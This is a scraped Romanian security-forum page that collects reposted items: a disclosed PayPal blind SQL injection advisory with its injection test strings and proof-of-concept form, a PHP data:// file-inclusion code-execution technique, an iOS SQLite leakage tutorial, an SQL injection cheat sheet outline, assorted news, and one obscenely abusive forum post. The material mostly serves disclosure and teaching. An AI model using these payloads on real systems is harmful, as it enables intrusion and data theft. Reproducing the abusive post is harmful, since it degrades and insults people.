Nytro

Paypal Bug Bounty #18 - Blind SQL Injection Vulnerability From: Vulnerability Lab <research () vulnerability-lab com> Date: Tue, 22 Jan 2013 16:26:56 +0100 Title: ====== Paypal Bug Bounty #18 - Blind SQL Injection Vulnerability Date: ===== 2013-01-22 References: =========== http://www.vulnerability-lab.com/get_content.php?id=673 http://news.softpedia.com/news/PayPal-Addresses-Blind-SQL-Injection-Vulnerability-After-Being-Notified-by-Experts-323053.shtml VL-ID: ===== 673 Common Vulnerability Scoring System: ==================================== 8.3 Introduction: ============= PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards. The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account. PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies. On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank. On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010. Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables. (Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal] Abstract: ========= The Vulnerability Laboratory Research Team discovered a critical Web Vulnerability in the official Paypal ecommerce website application. Report-Timeline: ================ 2012-08-01: Researcher Notification & Coordination 2012-08-01: Vendor Notification 2012-08-07: Vendor Response/Feedback #1 2012-08-07: Vendor Response/Feedback #2 2012-12-04: Vendor Response/Feedback #3 2013-01-12: Vendor Fix/Patch 2013-01-22: Public Disclosure Status: ======== Published Affected Products: ================== PayPal Inc Product: Core Application 2012 Q4 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A blind SQL Injection vulnerability is detected in the official Paypal ecommerce website application. The vulnerability allows remote attackers or local low privileged application user account to inject/execute (blind) own sql commands on the affected application dbms. The vulnerability is located in the Confirm Email module with the bound vulnerable id input field. The validation of the confirm number input field is watching all the context since the first valid number matches. The attacker uses a valid number and includes the statement after it to let both pass through the paypal application filter. The result is the successful execution of the sql command when the module is processing to reload the page module. Exploitation of the vulnerability requires a low privileged application user account to access the website area and can processed without user interaction. Successful exploitation of the vulnerability results in web application or module compromise via blind sql injection attack. Vulnerable Service(s): [+] Paypal Inc - Core Application (www.paypal.com) Vulnerable Module(s): [+] Confirm Email Vulnerable Section(s): [+] Confirm Number (Verification) - Input Field Vulnerable Parameter(s): [+] login_confirm_number_id - login_confirm_number Proof of Concept: ================= The blind sql injection vulnerability can be exploited by remote attackers with low privileged application user account and without required user interaction. For demonstration or reproduce ... URL1: Request a Session with 2 different mails (Step1) https://www.paypal.com/de/ece/cn=06021484023174514599&em=admin () vulnerabiliuty-lab com https://www.paypal.com/de/ece/cn=06021484023174514599&em=01x445 () gmail com URL2: Injection into ID Confirm Field (Step2) https://www.paypal.com/de/cgi-bin/webscr?cmd=_confirm-email-password-submit&; dispatch=5885d80a13c0db1f8e263663d3faee8d7283e7f0184a5674430f290db9e9c846 1. Open the website of paypal and login as standard user with a restricted account 2. Switch to the webscr > Confirm Email module of the application 3. Request a login confirm id when processing to load a reset 4. Take the valid confirm number of the mail and insert it into the email confirm number verification module input fields 5. Switch to the last char of the valid confirm number in the input field and inject own sql commands as check to proof the validation Test Strings: -1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1' -1'+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1--1' 1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1 1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=-1' 6. Normally the website with the generated ID confirm button is bound to the standard template. 7. Inject substrings with the id -1+sql-query to proof for blind injections in the input field 8. The bottom bar gets loaded as result for the successful executed sql query 8. Now, the remote attacker can manipulate the paypal core database with a valid confirm number + his own sql commands Bug Type: Blind SQL INJECTION [POST] Injection Vulnerability SESSION: DE - 22:50 -23:15 (paypal.com) Browser: Mozilla Firefox 14.01 PoC: <form method="post" action="https://www.paypal.com/de/cgi-bin/webscr?cmd=_confirm-email-submit&; dispatch=5885d80a13c0db1f8e263663d3faee8d7283e7f0184a5674430f290db9e9c846" class=""> <p class="group"><label for="login_confirm_number_id"><span class="labelText"><span class="error"> Please enter it here</span></span></label><span class="field"><input id="login_confirm_number_id" class="xlarge" name="login_confirm_number" value="06021484023174514599-1+[BLIND SQL-INJECTION!]--" type="text"></span></p><p class="buttons"> <input name="confirm.x" value="Confirm" class="button primary" type="submit"></p><input name="form_charset" value="UTF-8" type="hidden"></form> Note: Do all requests ever with id to reproduce the issue. (-) is not possible as first char of the input request. Example(Wrong): -1+[SQL-Injection]&06021484023183514599 Example(Right): 06021484023183514599-1+[SQL-Injection]-- Example(Right): 06021484023183514599-1+AND+IF(SUBSTRING(VERSION(),1,1)=$i,1,2)=1-1'-1'-- Test Mail(s): [+] 01x221 () gmail com and admin () vulnerability-lab com Note: After inject was successful 2 times because of my check, the paypal website opened a security issue report message box as exception-handling. I included the details and information of my test and explained the issue and short time later it has been patched. Solution: ========= 2013-01-12: Vendor Fix/Patch Risk: ===== The security risk of the blind sql injection web vulnerability in the paypal core application is estimated as critical. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () vulnerability-lab com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin () vulnerability-lab com - support () vulnerability-lab com - research () vulnerability-lab com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research () vulnerability-lab com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Sursa: http://seclists.org/fulldisclosure/2013/Jan/199

Sa zicem doar ca sunt "ceva" mai mult de 300 activi...

Peste 2000.

Bla bla, ceva moralizator, bla bla, ceva multumiri... Threads: 58,954 Posts: 386,370 Members: 100,000

[h=2]Kali Linux – A Teaser into the Future.[/h]Originally, BackTrack Linux was developed for our personal use but over the past several years, it has grown in popularity far greater than we ever imagined. We still develop BackTrack for ourselves because we use it every day. However, with growth and a huge user base, we have an obligation to ourselves, our users, and the open source community to create the best distribution we possibly can. With this in mind, about a year ago a bunch of us at Offensive Security started thinking about the future of BackTrack and brainstormed about the features and functionality we’d like to see in the next and future revisions. One of our main topics of conversation was the option of swapping out our custom development environment for a fully fledged Debian-compliant packaging and repository system. This seemed like a good idea at the time, but little did we know the world of hurt and pain we were getting ourselves into. This single decision concerning the future path of BackTrack brought with it so much power and flexibility that it has changed the face of our distribution. What’s happened in the past year? We have been quietly developing the necessary infrastructure and laying the foundation for our newest penetration testing distribution as well as building over 300 Debian compliant packages and swearing in 8 different languages. These changes brought with them an incredible amount of work, research and learning but are also leading us down the path to creating the best, and most flexible, penetration testing distribution we have ever built, dubbed “Kali”. BackTrack Reborn – Kali Linux Teaser from Offensive Security on Vimeo. So when is new version of BackTrack goodness hitting the internet? We wont tell, yet. After all, that *is* the definition of a “teaser”. All we can say for now, is that we are well on the way to completion, and hope to have our initial release out….soon. Sursa: Kali Linux – A Teaser into the Future.

[h=1]Defrag Tools: #24 - WinDbg - Critical Sections[/h]By: Larry Larsen, Andrew Richards, Chad Beeder In this episode of Defrag Tools, Andrew Richards, Chad Beeder and Larry Larsen continue looking at the Debugging Tools for Windows (in particular WinDbg). WinDbg is a debugger that supports user mode debugging of a process, or kernel mode debugging of a computer. This installment goes over the commands used to diagnose a Critical Section hang in a user mode application. We start with an overview of the four synchronization primitives and then delve deep in to temporary hangs, orphaned Critical Sections and deadlocks. We use these commands: ~*k ~*kv ~ ~~[TID]s !cs !cs <pointer> !locks Make sure you watch Defrag Tools Episode #1 and Defrag Tools Episode #23 for instructions on how to get the Debugging Tools for Windows and how to set the required environment variables for symbols and source code resolution. Resources: Critical Section Objects Timeline: [01:00] - Hang types - CPU Looping, Temporary Hangs and Permanent Hangs [02:00] - Synchronization Objects - Event, Semaphore, Mutex, Critical Section [06:54] - Critical Sections [11:45] - Debugging a Hang [28:08] - Debugging an Orphan [32:40] - Debugging a Deadlock Video: http://channel9.msdn.com/Shows/Defrag-Tools/Defrag-Tools-24-WinDbg-Critical-Sections

[h=1]Using PHP’s data:// stream and File Inclusion to execute code[/h]Posted on January 21, 2013 by infodox This is a reasonably old remote code execution trick that I was actually unaware of until recently, when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested. As we previously mentioned in the I expect:// a shell post, you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days. How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile. Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads. Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing). Data:// shell to bindshell You can download the current version of the tool here: PHP data include exploit I will update that code later, might do a video once there is something worth watching. Sursa: Using PHP’s data:// stream and File Inclusion to execute code | Insecurety Research

[h=3]iOS application security assessment: Sqlite data leakage [/h] Most of the iOS applications store sensitive information like usernames, passwords & transaction details, etc.. either permanently or temporarily on the iPhone to provide offline access for the user. In general, to store large and complex data, iOS applications use the Sqlite database as it offers good memory usage and speed access. For example, to provide offline access Gmail iOS application stores all the emails in a Sqlite database file in plain text format. Unencrypted sensitive information stored in a Sqlite file can be stolen easily upon gaining physical access to the device or the device backup. Also, if an entry is deleted, Sqlite tags the record as deleted but not purge them. So in case if an application temporarily stores and removes the sensitive data from a Sqlite file, deleted data can be recovered easily by reading the Sqlite Write Ahead Log. The below article explains on how to view Sqlite files and how to recover the deleted data from Sqlite files on the iPhone. For this exercise, I have created a demo application called CardInfo. CardInfo is a self signed application, so it can only be installed on a Jailbroken iPhone. The CardInfo demo application accepts any username & password, then collects the credit card details from the user and stores it in a Sqlite database. Database entries are deleted upon logout from the app. Steps to install the CardInfo application: 1. Jailbreak the iPhone. 2. Download CardInfoDemo,ipa file - Download link. 3. On the Windows, download the iPhone configuration utility – Download link. 4. Open the iPhone configuration utility and drag the CardInfoDemo.ipa file on to it. 5. Connect the iPhone to the windows machine using USB cable. Notice that the connected device is listed in the iPhone configuration utility. Select the device and navigate to Applications tab. It lists the already installed applications on the iPhone along with our CardInfo demo app. 6. Click on Install button corresponding to the CardInfo application. 7. It installs the CardInfo application on to the iPhone. When an application is installed on the iPhone, it creates a directory with an unique identifier under /var/mobile/Applications directory. Everything that is required for an application to execute will be contained in the created home directory. Steps to view CardInfo Sqlite files: 1. On the Jailbroken iPhone, install OpenSSH and Sqlite3 from Cydia. 2. On windows workstation, download Putty. Connect the iPhone and the workstation to the same Wi-Fi network. Note: Wi-Fi is required to connect the iPhone over SSH. If the Wi-Fi connection is not available SSH into the iPhone over USB. 3. Run Putty and SSH into the iPhone by typing the iPhone IP address, root as username and alpine as password. 4. Navigate to /var/mobile/Applications/ folder and identify the CardInfo application directory using ‘find . –name CardInfo’ command. On my iPhone CardInfo application is installed on the - /var/ mobile/Application/B02A125C-B97E-4207-911B-C136B1A08687/ directory. 5. Navigate to the /var/mobile/Application/B02A125C-B97E-4207-911B-C136B1A08687/ CardInfo.app directory and notice CARDDATABASE.sqlite3 database file. 6. Sqlite database files on a Jailbroken iPhone can be viewed directly using Sqlite3 command line client. View CARDDATABASE.sqlite3 and notice that CARDINFO table is empty. 7.On the iPhone, open CardInfo application and login (works for any username and password). 8. Enter credit card details and click on Save button. In the background, it saves the card details in the Sqlite database. 9. View CARDDATABASE.sqlite3 and notice that CARDINFO table contains the data (credit card details). 10. Logout from the application on the iPhone. In the background, it deletes the data from the Sqlite database. 11. Now view CARDDATABASE.sqlite3 and notice that CARDINFO table is empty. Steps to recover the deleted data from CardInfo Sqlite file: Sqlite database engine writes the data into Write Ahead Log before storing it in the actual database file, to recover from system failures. Upon every checkpoint or commit, the data in the WAL is written into the database file. So if an entry is deleted from the Sqlite database and there is no immediate commit query, we can easily recover the deleted data by reading the WAL. In case of iOS, strings command can be used to print the deleted data from a Sqlite file. In our case, running ‘strings CARDDATABASE.sqlite3’ command prints the deleted card details. In iOS, if an application uses the Sqlite database for temporary storage, there is always a possibility to recover the deleted temporary data from the database file. For better security, use custom encryption while storing the sensitive data in Sqlite database. Also, before deleting a Sqlite record, overwrite that entry with junk data. So even if someone tries to recover the deleted data from Sqlite, they will not get the actual data. About The Author This is a guest post written by Satishb3 - www.securitylearn.net.

Using OpenSSL to encrypt messages and files on Linux 1. Introduction OpenSSL is a powerful cryptography toolkit. Many of us have already used OpenSSL for creating RSA Private Keys or CSR (Certificate Signing Request). However, did you know that you can use OpenSSL to benchmark your computer speed or that you can also encrypt files or messages? This article will provide you with some simple to follow tips on how to encrypt messages and files using OpenSSL. 2. Encrypt and Decrypt Messages First we can start by encrypting simple messages. The following command will encrypt a message "Welcome to LinuxCareer.com" using Base64 Encoding: $ echo "Welcome to LinuxCareer.com" | openssl enc -base64 V2VsY29tZSB0byBMaW51eENhcmVlci5jb20K The output of the above command is an encrypted string containing encoded message "Welcome to LinuxCareer.com". To decrypt encoded string back to its original message we need to reverse the order and attach -d option for decryption: $ echo "V2VsY29tZSB0byBMaW51eENhcmVlci5jb20K" | openssl enc -base64 -d Welcome to LinuxCareer.com The above encryption is simple to use, however, it lacks an important feature of a password, which should be used for encryption. For example, try to decrypt the following string with a password "pass": U2FsdGVkX181xscMhkpIA6J0qd76N/nSjjTc9NrDUC0CBSLpZQxQ2Db7ipd7kexj To do that use OpenSSL again with -d option and encoding method aes-256-cbc: echo "U2FsdGVkX181xscMhkpIA6J0qd76N/nSjjTc9NrDUC0CBSLpZQxQ2Db7ipd7kexj" | openssl enc -aes-256-cbc -d -a As you have probably already guessed, to create an encrypted message with a password as the one above you can use the following command: $ echo "OpenSSL" | openssl enc -aes-256-cbc -a enter aes-256-cbc encryption password: Verifying - enter aes-256-cbc encryption password: U2FsdGVkX185E3H2me2D+qmCfkEsXDTn8nCn/4sblr8= If you wish to store OpenSSL's output to a file instead of STDOUT simply use STDOUT redirection ">". When storing encrypted output to a file you can also omit -a option as you no longer need the output to be ASCII text based: $ echo "OpenSSL" | openssl enc -aes-256-cbc > openssl.dat enter aes-256-cbc encryption password: Verifying - enter aes-256-cbc encryption password: $ file openssl.dat openssl.dat: data To decrypt the openssl.dat file back to its original message use: $ openssl enc -aes-256-cbc -d -in openssl.dat enter aes-256-cbc decryption password: OpenSSL 3. Encrypt and Decrypt File To encrypt files with OpenSSL is as simple as encrypting messages. The only difference is that instead of the echo command we use the -in option with the actual file we would like to encrypt and -out option, which will instruct OpenSSL to store the encrypted file under a given name: $ openssl enc -aes-256-cbc -in /etc/services -out services.dat To decrypt back our services file use: $ openssl enc -aes-256-cbc -d -in services.dat > services.txt enter aes-256-cbc decryption password: [B] 4. Encrypt and Decrypt Directory In case that you needed to use OpenSSL to encrypt an entire directory you would, firs,t need to create gzip tarball and then encrypt the tarball with the above method or you can do both at the same time by using pipe: # tar cz /etc | openssl enc -aes-256-cbc -out etc.tar.gz.dat tar: Removing leading `/' from member names enter aes-256-cbc encryption password: Verifying - enter aes-256-cbc encryption password: To decrypt and extract the entire etc/ directory to you current working directory use: # openssl enc -aes-256-cbc -d -in etc.tar.gz.dat | tar xz enter aes-256-cbc decryption password: The above method can be quite useful for automated encrypted backups. 5. Conclusion What you have just read was a basic introduction to OpenSSL encryption. When it comes to OpenSSL as an encryption toolkit it literally has no limit on what you can do. To see how to use different encoding methods see OpenSSL manual page: $ man openssl Make sure you tune in to our Linux jobs portal to stay informed about the latest opportunities in the field. Also, if you want to share your experiences with us or require additional help, please visit our Linux Forum. About Author: [TABLE] [TR] [TD][/TD] [TD] Lubos Rendek In the past I have worked for various companies as a Linux system administrator. Linux system has become my passion and obsession. I love to explore what Linux & GNU/Linux operating system has to offer and share that knowledge with everyone without obligations.[/TD] [/TR] [/TABLE] Sursa: Using OpenSSL to encrypt messages and files

DNSChef 0.2.1 Authored by Peter Kacherginsky | Site thesprawl.org DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet. Download: http://packetstormsecurity.com/files/download/119681/dnschef-0.2.1.tar.gz Sursa: DNSChef 0.2.1 ? Packet Storm

Plug-in pwning challenge brings Pwn2Own prizes to $US560K From: InfoSec News <alerts () infosecnews org> Date: Tue, 22 Jan 2013 00:19:44 -0600 (CST) Plug-in pwning challenge brings Pwn2Own prizes to $US560k • The Register By Iain Thomson in San Francisco The organizers of the Pwn2Own hacking competition held at the annual CanSecWest security conference have upped the prize pool to $US560,000 and will now be offering prizes for hacking web plug-ins from Adobe and Oracle. The contest, which dropped mobile phone hacking last year, has added web plug-in hacking to the prize pool. Contestants get $70,000 apiece for cracking Adobe Reader and Flash, and $20,000 for getting past Java. Based on the latter's recent parlous performance in the security arena that price discount seems justified. "We've added browser plug-ins as a reflection of their increasing popularity as an attack vector," said Brian Gorenc, manager of vulnerability research at Pwn2Own sponsors HP DVLabs. "We want to demonstrate new hacking areas and design new mitigation techniques." For the more traditional hacks against browsers, a working Chrome exploit for Windows 7 will net $100,000, with the same again for an IE10 hack in Windows 8 or $75,000 for breaking IE9 in Windows 7. A Safari exploit in OSX Mountain Lion is worth $65,000 and Firefox on Windows 7 just $60,000, and all hacks must be completed in a 30 minute time frame. Sursa: Information Security News: Plug-in pwning challenge brings Pwn2Own prizes to $US560K

[h=1]US Army to Hackers: If You Commit a Crime Against Us, We Will Find You[/h]January 12th, 2013, 18:01 GMT · By Eduard Kovacs Over the past period, the US government has invested a lot of resources to make sure that the country’s networks are protected against cybercriminals. When it comes to the US Army, the Criminal Investigation Command’s Computer Crimes Investigative Unit (CCIU) is the one that handles the threats from cyberspace. “CCIU is the U.S. Army's sole entity for conducting worldwide criminal investigations of computer intrusions and related national security threats affecting U.S. Army computers, networks, data and personnel,” Special Agent Daniel Andrews, the director of CCIU, explained. “Intruders range from non-malicious hackers to those intent upon disrupting a network or website, to foreign intelligence probes, so that makes our mission extremely important not just for CID, but the United States Army.” Andrews says that their investigations have led to the arrests of soldiers, civilians and foreign nationals from all over the world. “Regardless of where a crime is committed or the judicial venue in which it's prosecuted, if you commit a crime against the Army, we will find you and bring you to justice,” Andrews said. A perfect example of the CCIU’s capabilities is the case of the Romanian hacker known as TinKode, who attempted to breach the systems of various US organizations, including the Army and NASA. The CCIU managed to stop him from gaining access, and pushed on with the investigation to ensure that the attacker would be brought to justice. Despite the fact that they couldn’t get the case prosecuted in the United States, they were able to prosecute the hacker in Romania in collaboration with their international law enforcement partners. “Just because a person commits the crime overseas doesn't mean that our investigation stops or that justice won't be carried out. We simply adapt to ensure that in the end, justice is served,” Andrews explained. The head of the US Army’s CCIU is confident that no one can escape them. “As the Army continues to move forward by incorporating technology into all aspects of operations, they will become a target of opportunity for cyber criminals. But we will be here to stop them, dead in their tracks,” Andrews concluded. Sursa: US Army to Hackers: If You Commit a Crime Against Us, We Will Find You - Softpedia

SecuREview magazine It’s a definitive sign of the times when terms like “cyber-warfare” and “cyber-espionage” are creeping into computer news stories. And these aren’t just movie plots or an imagination running wild. Military-grade malware are now creeping across corporate networks. Nation-state actors are investing heavily in the creation of tools to conduct cyber-warfare and we now have documented cases of malware being used against critical infrastructure targets. In this issue, we feature two stories addressing this issue. Costin Raiu writes about the timeline related to Stuxnet and Duqu, the malware families that are clearly targeting Iran’s nuclear facilities. Raiu’s research shows clearly that Duqu and Stuxnet were created by the same ‘owners’ with the main aim to spy on -- and eventually sabotage -- Iran’s FEP at Natanz. Eugene Kaspersky’s call for the Internet to be a military-free zone is relevant when we take into account that fact that Duqu was created as early as 2007, when the people who manage critical infrastructure around the globe were clearly unprepared for the dangerous ramifications of military-grade malware gone rogue. As Eugene outlines, we are sitting on a powder keg. If a ‘cyberweapon’ hits an unintended target, real lives could be at stake and collateral damage could be devastating. Achieving a military-free Internet might not be possible but a clear understanding of the clear and present dangers is necessary. Stay secure! Download: http://www.secureviewmag.com/downloads/article_pdf/4th_quarter_secureview_small_file.pdf

S-a mai discutat asta, de multe ori. E feature, nu bug. Un topic facut de tine nu e "New posts", e deja vizualizat de tine. La fel, cand intri intr-un topic, altul, e vizualizat, deci nu mai apare la new posts. bruttus139: Da, e o problema cand la link-uri apar caractere Unicode, nu stiu inca exact despre ce e vorba dar cand o sa am timp o sa ma uit pentru ca si eu am intalnit aceasta problema.

[h=1]SQL Injection Cheat Sheet[/h] 08/12/2011 Find and exploit SQL Injections with free Netsparker SQL Injection Scanner SQL Injection Cheat Sheet, Document Version 1.4 [h=2]About SQL Injection Cheat Sheet[/h] Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences. Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself. [TABLE] [TR] [TD=align: right]M : [/TD] [TD]MySQL [/TD] [/TR] [TR] [TD=align: right]S : [/TD] [TD]SQL Server[/TD] [/TR] [TR] [TD=align: right]P : [/TD] [TD]PostgreSQL[/TD] [/TR] [TR] [TD=align: right]O : [/TD] [TD]Oracle[/TD] [/TR] [TR] [TD=align: right]+ : [/TD] [TD]Possibly all other databases [/TD] [/TR] [/TABLE] [h=5]Examples;[/h] (MS) means : MySQL and SQL Server etc. (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server [h=2]Table Of Contents[/h] [LIST=1] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#about"]About SQL Injection Cheat Sheet [/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#SyntaxBasicAttacks"]Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks [/URL] [LIST=1] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LineComments"]Line Comments [/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LineCommentAttacks"]SQL Injection Attack Samples[/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#InlineComments"]Inline Comments [/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#InlineSamples"]Classical Inline Comment SQL Injection Attack Samples[/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#MySQLInlineSamples"]MySQL Version Detection Sample Attacks[/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StackingQueries"]Stacking Queries[/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LangDbFigure"]Language / Database Stacked Query Support Table [/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#AboutMySQLandPHP"]About MySQL and PHP[/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StackedSamples"]Stacked SQL Injection Attack Samples[/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#IfStatements"]If Statements[/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#MySQLIf"]MySQL If Statement[/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#SQLServerIf"]SQL Server If Statement [/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#SampleIfStatements"]If Statement SQL Injection Attack Samples [/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#UsingIntegers"]Using Integers [/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StringOperations"]String Operations[/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StringConcat"]String Concatenation [/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StringwithoutQuotes"]Strings without Quotes[/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#HexbasedSamples"]Hex based SQL Injection Samples[/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#StringModification"]String Modification & Related [/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#UnionInjections"]Union Injections[/URL] [LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#UnionLanguageIssues"]UNION – Fixing Language Issues[/URL] [/LIST] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#ByPassingLoginScreens"]Bypassing Login Screens[/URL] [*][URL="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#Enablecmdshell"]Enabling xp_cmdshell in SQL Server 2005 [/URL] [*][I]Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see. [/I] [/LIST] [/LIST] Link: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

Te caci in palma si arunci cu cacat dupa el. Iti faci laba si dai sloboz peste mancare. Mananci tu cacat cand el doarme, apoi mergi si ii vomiti in gura. Iti dai pula si cand doarme i-o indesi in cur. Nu mai intri aici si postezi astfel de porcarii. Ce parere ai?

Cred ca asta nu se pune... Metasploit Pro is available immediately for $15,000 per named user, per year and includes support with dedicated SLAs provided by Rapid7 staff. Si probabil nici asta: CORE Impact Pro Vulnerability Assessment and Penetration Testing Software Product: Core Impact Pro 8 Core Security Price:$30,000 per year Asta se pune? http://pwnieexpress.com/products/pwnplug-elite

